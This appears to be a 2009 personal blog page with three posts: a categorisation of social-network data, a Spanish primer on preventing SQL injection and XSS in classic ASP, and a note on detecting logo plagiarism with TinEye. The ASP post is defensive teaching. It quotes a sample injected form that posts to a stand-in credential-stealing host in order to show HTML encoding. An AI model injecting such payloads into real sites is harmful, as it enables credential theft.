jueves, 26 de noviembre de 2009

Another Categorization of Social Networking Data

Following Bruce Schneier post on social network data taxonomies I made my own categorization. You will observe that is not a taxonomy because data is not exclusively in one of the categories, that is, the categories are not disjoint. It is a categorization centered on data destination, places and people that can store it, access it and the use it. Schneier taxonomy is centered on trust levels I think.
  1. Collected Data. Data collected by the service provider. Unless this data is encrypted on the client-side and stored this way on the server we assume it is plain text data accessible by the service provider. Usually includes profile and network data explicitly provided by the user, and click history implicitly provided. You can assume that everything you do and upload in the browser tab of the service is collected if the privacy policy of the service doesn't state it otherwise.
  2. Public/Disclosed Data. Data that is published openly, such as complete name or e-mail. It can be useful for other people trying to locate you.
  3. Social Data. Data that is openly shared with your trusted contacts. Unless these contacts are inside your circle of trust, they can't access it.
  4. Monetized Data. Data that is actually used by the service provider to serve you personalized advertising. This category also includes data that can be sold anonymized or aggregated to third parties.
You can observe that in some services, such as web logs, all social data is public/disclosed. It is common nowdays, that the service provider collects all the data, so the public/disclosed data and the social data are included there. On the other side, a encrypted social network service could possibly assure a minimization of collected data. Obviously monetized data can only be extracted from some data collected from the provider. If the social data can be widely collected by other users infiltrating your social contact list they can build a dataset that can be turn into monetized data. Another example is Google's Social Graph effort, they are transforming part of your social data in services they can't access into public/disclosed data that fits better inside their business model.

Some ideas in this post are related to Alex Iskold post on attention silos.

jueves, 19 de noviembre de 2009

Precauciones Básicas para Evitar Ataques Web en ASP

Repasamos algunos conceptos de seguridad web básicos y recorriendo la web comentamos algunas soluciones para evitar ataques en aplicaciones web desarrolladas con ASP.

Como toda falla de seguridad, la tecnología que se desarrolla antes de que se popularice la falla, es víctima segura de la misma. En el caso de ASP es así, recién en ASP .Net se toma conciencia de las fallas de seguridad habituales en SQL y JavaScript y se implementan medidas incluidas por defecto, por lo menos en las librerías.

Las principales fallas que afectan a ASP son las que afectan a la mayoría de las aplicaciones web, son de inyección de código JavaScript y código SQL dentro de los datos enviados a la aplicación. La inyección de código dentro de datos enviados a programas es una categoría central de fallas de seguridad. En el caso clásico de aplicaciones nativas se inyecta código máquina dentro de datos enviados a servidores programados en C/C++ o dentro de datos multimedia para ataques clientes web o correo programados también en C/C++.

En el caso de una falla de inyección SQL la ejecución de una sentencia SQL en el servidor puede ser afectada o desviada mediante datos provistos por el usuario. Usualmente al mezclarse la sentencia SQL en forma de string de caracteres con la entrada provista por el usuario/atacante, este último puede escapar de la sentencia SQL con algún tipo de caracter como comilla simple o doble y luego agregar SQL a la sentencia existente o ejecutar una sentencia distinta (por ejemplo con ";" en el MS SQL Server). Luego el impacto habitual es pasar alrededor la autenticación entrando como administrador al sistema o listando la lista de usuario, aunque también dependiendo de los permisos de la base de datos SQL se pueden llegar a modificar tablas de datos o ejecutar comandos de la consola de sistema [1].

Las inyecciones de JavaScript, también conocidas como XSS o Cross-site Scripting parecen mas inofensivas porque afectan en principio a los navegadores web cliente de los usuarios, pero aparte de servir para robar credenciales de los usuarios pueden servir para sobrecargar al servidor con peticiones. Se inyecta JavaScript en los datos y estos son reflejados en el HTML que se devuelve, entonces si la inyección se puede persistir o se puede reproducir con un URL (XSS de petición GET), entonces las víctimas pueden acceder al mismo y de ellas se podría eventualmente robar sus cookies de sesión. Para el caso de peticiones POST alcanza con dirigir a las víctimas al dominio "notanevilhacker.org" y de ahi andar el POST con el XSS al dominio "vulnerable.org" para robar credenciales [2].

En general la mejorar manera de evitar la inyecciones SQL es depurando la entrada de datos. Por ejemplo se puede solamente dejar pasar (lista blanca o white-listing) los datos alfanuméricos en ASP con el siguiente código [3]. En este caso se filtra el complemento alfanumérico con "^". Hay que incluir letras con acentos que se usan en el español posiblemente, que no están en este ejemplo. Destaquemos que siempre es preferible el white-listing antes que el black-listing, por que en el último caso se puede escapar algún caso no filtrado por la tangente, ergo, se nos escapa la tortuga de la seguridad por algun caso no cubierto.
'Crear un objeto expresion regular
Dim regEx
Set regEx = New RegExp

'Esta propiedad global le dice al moto de RegEx que busque TODAS las
'subcadenas, en vez de la primera aparicion. Tiene que ser true.
regEx.Global = true

'Nuestro patron dice que tenemos que buscar en el string... En este caso
'buscamos cosas que no sean alfanumericas...
regEx.Pattern = "[^0-9a-zA-Z]"

'Usamos la funcion de reemplazo de RegEx para limpiar el username. La funcion
'de reemplazo toma un string para buscar (usando el patron de arriba como criterio=
'y la string que va a reemplazarla.
'En este caso, queremos reemplazar con nada, porque los caracteres no
'alfanumericos son los que queremos quitar.
dim username
username = regEx.Replace(request.form("UserName"), "")
Para el caso de los XSS si es una entrada de usuario que incluye caracteres no alfanuméricos lo mejor es codificar la entrada para que sea interpretada como datos en el HTML de vuelta, y no como HTML en si mismo. En ASP la función que provee esta funcionalidad es "Server.HtmlEncode" [4].

Por ejemplo se reemplaza la entrada maliciosa:
</form>
<form method="POST"
action="www.hax0r.com/passwordstealer.asp">
Por:
&lt;/form&gt;&lt;form
method="POST"
action="www.hax0r.com/passwordstealer.asp"&gt;
Podemos observar que si aparecen los dos tipos de vulnerabilidades juntas como el filtrado para evitar inyecciones SQL es mas restrictivo seguramente alcance con aplicar eso y no la codificación para HTML. Si ya fuimos víctimas de un ataque lo mejor es tratar de eliminar código remanente JavaScript malicioso en la base de datos [5].

miércoles, 11 de noviembre de 2009

Detecting Shameless Logo Plagiarism!

I guess that we must clarify language confusions here. As we are talking about intangible assets here, information, we use the words steal and theft only refering to the act of plagiarism. It is immoral when no reference to the original author is explicited then it is assumed that the copied logo is an original work of the graphic designed. No logo is completely original as particular features are always present in another logos but plagiarism is assumed when many features are present in more than one logo.

It's very funny to observe that to save money and time some companies copy (steal?) the iconographic logos from another companies. In some cases the small ones copy from the bigger ones and in other cases is the other way around.

I recommend to use the wonderful photo search engine called TinEye plus the Firefox TinEye plugin. In this case, is very clear that the photo similarity search of the service is a perfect fit for the detection of logo clones (thefts?).

These posts (part 1, part 2) written by a logo design company explain the details and techniques for shamelessly copying a complete logo or part of it. For example they show the similarities between the Sun Microsystems logo and the Columbia Sportswear logo. I tried to use TinEye to detect the Sun/Columbia similarities but failed.
In this article called Protecting Your Custom Company Logo Design's Copyright it is explained how to legally protect your logo, I guess is only useful when a explicit copy of your logo is made (and your logo is originally enough to be considered something that can be copied!).

An plagiarism example I detected with TinEye was the Kibon plagiarism (page 1, page 2). Kibon some years ago was an ice-cream brand, but the logo is also used by Olá, Good Humor and Wall's. Apparently these ice-cream brands are all owned by Unilever so they use the same logo in many places. But at least is not clear who design the logo. In site Brand's Of The World you can found the different logos: Olá (Portugal), Kibon (Brazil) and Wall's.
The TinEye approach did not work also for detecting one of my favorite plagiarisms: Livra (a prosumer web company from Argentina) versus CounterPath (a VoIP client software company).
We can conclude that plagiarism is usually accepted within an organisation because the organisation owns the copyright of the logo and can reuse and modify it without permission of the original graphic designer whether it works for the company or not.

Finally, swiss site Plagiat is completely devoted to plagiarism in it's various forms.